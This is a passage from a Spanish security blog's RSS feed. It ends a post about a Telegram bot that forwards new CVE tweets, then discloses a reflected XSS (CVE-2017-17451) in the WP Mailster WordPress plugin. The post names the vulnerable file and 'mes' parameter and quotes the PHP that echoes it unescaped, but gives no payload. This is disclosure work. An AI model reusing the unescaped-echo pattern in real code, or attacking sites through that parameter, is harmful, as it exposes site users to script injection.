    #Se envia el resultado a mi chat de telegram
    mi_bot.sendMessage(chat_id=chat_id, text="@" + account + " -- " + content)

Recuerda que este Script es un ejemplo de como se obtiene los Twits del canal CVEnew y solo recoge los Twits, es decir, haría falta implementar un Cronjob que te devuelva constantemente estos Twits y trabajar bajo una base de datos que controle las notificaciones recibidas.

La entrada Envíate los últimos CVEs a tu Telegram se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/enviate-los-ultimos-cves-telegram/feed 0
WP Mailster (XSS) CVE-2017-17451 https://securitytrooper.com/wp-mailster-xss-cve-2017-17451 https://securitytrooper.com/wp-mailster-xss-cve-2017-17451#respond Tue, 12 Dec 2017 21:42:10 +0000 http://securitytrooper.com/?p=64 Hoy os hablaré de otro Cross-site scripting que he descubierto el plugin «WP Mailster» versión 1.5.4.0 de la empresa Brandtoss (https://wpmailster.com/) El fallo de seguridad se encuentra en el parámetro mes en el archivo»wp-mailster/view/subscription/unsubscribe2.php» que como se puede comprobar en la siguiente captura… Continuar leyendo

La entrada WP Mailster (XSS) CVE-2017-17451 se publicó primero en SecurityTrooper.

]]>
Hoy os hablaré de otro Cross-site scripting que he descubierto el plugin «WP Mailster» versión 1.5.4.0 de la empresa Brandtoss (https://wpmailster.com/)

El fallo de seguridad se encuentra en el parámetro mes en el archivo»wp-mailster/view/subscription/unsubscribe2.php» que como se puede comprobar en la siguiente captura carece de los mecanismos necesarios para evitar la inyección de código.

  <h2 class="componentheading mailsterUnsubscriberHeader">Unsubscription</h2>
    <div class="contentpane">
        <div id="mailsterContainer">
            <div id="mailsterUnsubscriber">
                <div id="mailsterUnsubscriberDescription"><?php echo $_GET['mes']; ?></div>
            </div>
        </div>
    </div>

 

Efectivamente el código malicioso se ejecuta sin problemas.

En esta captura se muestra el código dentro del cuerpo HTML.

 

 

La entrada WP Mailster (XSS) CVE-2017-17451 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/wp-mailster-xss-cve-2017-17451/feed 0